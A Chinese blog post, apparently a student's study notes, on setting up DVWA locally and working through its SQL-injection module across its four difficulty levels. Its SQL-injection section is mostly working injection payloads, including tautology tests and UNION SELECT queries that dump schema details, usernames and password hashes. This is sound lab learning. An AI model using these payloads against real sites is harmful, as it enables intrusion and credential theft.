zoukankan      html  css  js  c++  java
  • 【DVWA(一)】 安装使用 & SQL注入学习心得


    DVWA 环境搭建和安装简易使用

    1. 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过。在浏览器输入127.0.0.1,测试一下。
    2. 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下。
    3. 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面【其他选项菜单】->【My SQL工具】->【重置密码】。
    4. 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,找到其中的db_password的对应值改为刚设置的。
    5. 浏览器输入127.0.0.1/DVWA,出现登录界面,账户名和密码分别是:admin和password。

    DVWA的简介

    首先,DVWA有多个模块,涉及网络安全的方方面面,其次,代码等级分为Low,Medium,High,Impossible四个等级,在官方介绍中有提到High难度跟ctf接近。

    因为研究生阶段即将开始网安的学习,所以好好研究DVWA成了开学前给自己的重要任务。接下来将针对各个模块进行学习笔记的记录,因为是从头学,所以难免啰嗦。

    这篇文章只是针对我在学习研究DVWA过程中学到的知识点,和遇到的困难,有不对的地方还请大神不吝赐教。


     

    DVWA - SQL注入

    需要注意两部分:第一,右下角有查看源代码的按钮,对于分析四个难度的区别很有帮助;第二,从我目前的知识水平觉得,SQL注入需要实战经验,所以接下来的笔记仅仅是沿着车辙,按图索骥的学习。

    【1】low

    第一步,

    习惯上输入1,可以看到返回对应1的数据库中的内容,而且输出三行,分别是
    ID:1
    First name:xxx
    Surname:xxx
    具体内容不管,总之第一行是输入的内容,原封不动显示了,二三行是可以我们直接用来显式显示的内容栏。
     

    第二步,

    分别输入1 and 1 = 1,和1 and 1 = 2;【这里我之前不理解,现在自己的理解是:这一步,可以看输出内容,进而判断是否存在注入点,因为输出结果都一样,所以源代码一定是没有对输入内容进行判断,所以,应该是存在注入点的】
     

    第三步,

    分别输入1 'and 1=1#,和1 'and 1=2#;【此时 ‘ 和 # 为第一个1(id)形成了闭合】到这里,根据输出内容,可以断定,存在注入点了。
     

    第四步,

    1 'or 1=1 #,可以爆出所有内容,也就是有五个用户,这一步我是为了验证前几步的观点,下面就是暴库,搞到密码。
     

    第五步,

    暴库:关于这一步,其实有很多知识点,我还没怎么入门,留着一个专门的坑整理这部分,已下是测试过常用的部分
    • 1' union select 1,database()# 爆出数据库名称:dvwa
    • 1 'UNION ALL SELECT version(),1# 爆出运行的mysql版本
    • 1 'UNION ALL SELECT table_name,2 FROM information_schema.tables# 爆出所有表名(此时是所有库里的)
    • 1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'# 爆出所有表名(dvwa库里的)
    • 1' union select 1,column_name from information_schema.columns where table_name='users'# 根据爆出的表,去查找所有列
    • 1' union select user,password from users# 根据所有的列名,查找需要的对应的内容(这里我把那两个显式的输出分别输出user,password)

    总结:到这里low等级注入攻击结束,已经得到需要的全部密码了,先用单引号和and测试是否有注入点,然后暴库,根据库暴表,根据表暴列,根据列找到所需的所有内容。

    【2】medium

    第一步,分析,medium级别是一个下拉列表,当改变输入时,网址http://127.0.0.1/dvwa/vulnerabilities/sqli/#,可见多了#,但是无论怎么改网址都不变,所以应该不是get型,而是post型。

    第二步,用hackbar测试一下(这里留一个关于hackbar安装的坑,已补坑 https://www.cnblogs.com/wayne-tao/p/11022640.html),在post中输入 id=3&Submit=Submit,运行发现,输出正确,post型注入可行!

    第三步,这时候就已经跟low等级一样了,在id=之后输入注入查询代码即可,注意此时 ‘ 和 # 提示错误,推测是源代码进行了处理,所以去掉继续尝试,可行!到这里medium就解决了

    总结:难度主要体现在下拉列表上和输入检查上,可以通过工具避开,其他原理跟low一样,除了hackbar还有burp suite也可以实现,这里留着之后专门再研究这两个工具,留坑,

    补坑【Hackbar的相关用法】

    【3】high

    high等级很奇怪,我发现方法跟low完全一样,唯一的问题是,change id需要从新的窗口输入,输入内容上跟low完全一样。暂时还没明白跟low等级的区别。留坑对四个等级源代码进行对比分析

    【4】impossible

    impossible等级用的pdo,目前貌似是没法注入

    目前找到的方案是关于PDO的,Are PDO safe?但是现在我还看不懂。。。新坑


     推荐两篇博客,我感觉写的非常好!作为引入门和工具小全查看都可以

    【总结】MYSQL注入 - Carrypan - 博客园

    史上最完整的MySQL注入 - i春秋学院 - 博客园

    以上,是学习SQL注入攻击的全部笔记,会伴随以后的学习持续更新。

  • 相关阅读:
    Android游戏开发22:Android动画的实现J2me游戏类库用于Android开发
    android sqlite SQLiteDatabase 操作大全 不看后悔!必收藏!看后精通SQLITE (第三部分,完整代码)
    使用OGR创建dxf格式矢量数据
    mysql 数据库引擎 MyISAM InnoDB 大比拼 区别
    android sqlite SQLiteDatabase 操作大全 不看后悔!必收藏!看后精通SQLITE (第二部分)
    mysql 更改数据库引擎
    android sqlite SQLiteDatabase 操作大全 不看后悔!必收藏!看后精通SQLITE (第一部分)
    android 数字键盘使用
    MySQL Innodb数据库性能实践
    eclipse : Error while performing database login with the driver null
  • 原文地址:https://www.cnblogs.com/wayne-tao/p/11006771.html
Copyright © 2011-2022 走看看